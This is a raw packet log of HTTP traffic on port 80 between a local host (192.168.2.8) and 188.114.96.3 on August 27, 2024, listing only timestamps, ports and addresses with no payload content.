Aug 27, 2024 09:49:39.070488930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070499897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070509911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070513964 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.070521116 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070533037 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070542097 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.070569038 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.070617914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070633888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070645094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070656061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070661068 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.070667982 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070679903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070683956 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.070691109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070707083 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070708036 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.070719004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070730925 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.070751905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070760965 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.070763111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070774078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.070796967 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.070995092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071006060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071017027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071027994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071032047 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.071038961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071049929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071050882 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.071060896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071072102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071079016 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.071083069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071094036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071105003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071110964 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.071115971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071126938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071140051 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.071140051 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071151018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071162939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071177006 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.071199894 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.071365118 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071376085 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071386099 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071399927 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071409941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071413040 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.071419001 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.071429014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071439981 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071450949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071450949 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.071461916 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071472883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071475029 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.071485043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071490049 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.071496964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071511030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071526051 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.071563959 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.071892023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071902990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071913958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071924925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071937084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071940899 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.071947098 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071959972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071968079 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.071970940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071981907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071993113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.071995020 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.072026014 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.072029114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072038889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072045088 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.072051048 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072062016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072073936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072081089 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.072094917 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.072181940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072194099 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072205067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072218895 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072221994 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.072231054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072240114 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.072242022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072252989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072264910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072267056 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.072283030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072285891 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.072295904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072326899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072339058 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.072340012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072350979 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072362900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072369099 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.072374105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072386026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072391987 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.072397947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072415113 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.072451115 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.072477102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072494984 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072505951 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072514057 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072525024 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072537899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072547913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072561026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072563887 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.072577953 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072590113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072598934 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.072602987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072613955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072628021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072639942 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.072640896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072647095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072652102 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.072658062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072659016 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.072670937 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072680950 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072689056 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.072694063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072704077 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072715998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.072716951 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.072750092 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.073081017 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073092937 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073101997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073108912 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073121071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073138952 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.073175907 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.073402882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073415041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073426008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073453903 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.073492050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073503017 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073514938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073528051 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073540926 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.073565960 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.073638916 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073649883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073659897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073672056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073683023 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.073683977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073693037 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.073695898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073708057 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073719978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073721886 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.073731899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073748112 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.073767900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073780060 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.073905945 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073916912 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073926926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073939085 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073951006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073951960 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.073962927 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073972940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073976994 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.073985100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.073990107 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.074014902 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.074181080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074191093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074201107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074213982 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074224949 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.074229956 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074240923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074249029 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.074251890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074264050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074268103 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.074275970 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074286938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074295044 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.074299097 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074317932 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.074350119 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.074537039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074548006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074558020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074577093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074588060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074593067 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.074599981 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074606895 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.074610949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074623108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074634075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074644089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074645042 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.074655056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074659109 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.074666977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074678898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074686050 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.074690104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074701071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074703932 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.074712038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074728012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.074737072 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.074763060 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.075026989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.075037003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.075047016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.075074911 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.075098038 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.075112104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.075124025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.075134039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.075161934 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.117367983 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.158621073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.158633947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.158644915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.158701897 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.158770084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.158782005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.158795118 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.158807039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.158807993 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.158818960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.158833027 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.158863068 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.158917904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.158930063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.158968925 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.159068108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159079075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159089088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159101009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159117937 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.159137011 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.159218073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159229040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159239054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159250975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159262896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159276009 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.159307957 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.159368992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159380913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159390926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159401894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159409046 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.159420013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159429073 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.159432888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159445047 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159471989 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.159492016 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.159660101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159672022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159682989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159693956 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159704924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159708023 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.159730911 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.159816980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159828901 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159842014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159852982 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159854889 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.159863949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159876108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159878969 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.159887075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159898996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159898996 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.159914970 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.159966946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159981966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.159995079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160007000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160007954 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.160043955 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.160265923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160278082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160289049 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160306931 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.160319090 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.160418987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160429955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160440922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160453081 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160464048 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160465956 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.160475969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160492897 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.160495043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160506010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160516977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160528898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160535097 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.160548925 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.160563946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160571098 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.160578012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160590887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160604000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160625935 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.160645962 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.160746098 CEST	80	49715	188.114.96.3	192.168.2.8
